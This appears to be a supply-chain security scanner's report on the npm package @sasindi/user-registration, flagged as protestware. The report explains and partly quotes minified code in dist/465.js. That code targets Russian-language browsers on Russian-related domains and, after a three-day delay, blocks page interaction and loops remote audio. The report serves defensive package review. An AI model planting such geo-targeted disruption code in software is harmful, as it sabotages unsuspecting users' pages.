registry / Protestware / @sasindi/user-registration
@sasindi/user-registration
An OpenMRS seed application for building microfrontends
This report shows the evidence for @sasindi/user-registration@1.0.20. 3 of 3 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 15d ago · by lpm-firewall-aiThe browser bundle implements targeted, disruptive behavior unrelated to user registration. The conditional trigger does not make the page disruption or unsolicited audio benign.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
The code runs in a browser with a Russian-language setting and a host ending in .ru, .su, .by, or .xn--p1ai; after the stored initiation date is more than three days old, a timer activates it.
Impact
Affected visitors may be unable to interact with the page and are subjected to unwanted audio.
Mechanism
It disables pointer interaction on the page and loops an audio file hosted at flag-gimn.ru.
Attack narrative
In dist/465.js, a browser-language and host check gates a delayed action. Once the stored date is over three days old, the code disables pointer interaction and loops an audio file from flag-gimn.ru. This is targeted browser disruption and unsolicited audio playback.
AI rationale
The browser bundle implements targeted, disruptive behavior unrelated to user registration. The conditional trigger does not make the page disruption or unsolicited audio benign.
Evidence
dist/465.js
Network endpoints1
flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- dist/465.js disables page interaction and repeatedly plays an external audio file when a Russian-language browser visits a host with a Russian or related suffix, after a stored three-day delay.
- package.json's prepare hook installs Husky; the observed disruptive behavior is in the browser bundle.
Evidence against
- The package is an OpenMRS microfrontend, and dist/659.js contains ordinary OpenMRS API fetch handling.
- The prepare hook is `husky install`, not a package install hook that performs the browser behavior.
Behavioral surface
CryptoEnvironmentVarsEvalNetwork
HighEntropyStringsMinifiedPossibleObfuscationTelemetryUrlStrings
CopyleftLicense
Source & flagged code
3 flagged · loading sourcedist/659.jsView file
1/*! For license information please see 659.js.LICENSE.txt */
L2: (globalThis.webpackChunk_sasindi_user_registration=globalThis.webpackChunk_sasindi_user_registration||[]).push([[659],{313:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModul...
High
Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
dist/659.jsView on unpkg · L11/*! For license information please see 659.js.LICENSE.txt */
L2: (globalThis.webpackChunk_sasindi_user_registration=globalThis.webpackChunk_sasindi_user_registration||[]).push([[659],{313:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModul...
Low
Eval
Package source references a known benign dynamic code generation pattern.
dist/659.jsView on unpkg · L1dist/465.jsView file
•n");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag
Findings
1 Critical1 High3 Medium7 Low
CriticalTargeted Browser Disruption Protestwaredist/465.js
HighSame File Env Network Executiondist/659.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowEvaldist/659.js
LowHigh Entropy Strings
LowTelemetry
LowUrl Strings
LowCopyleft License
Affected versions and remediation
This report applies to @sasindi/user-registration@1.0.20.
The versions list below shows the verdict for each recorded version.
- Avoid installing @sasindi/user-registration@1.0.20. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.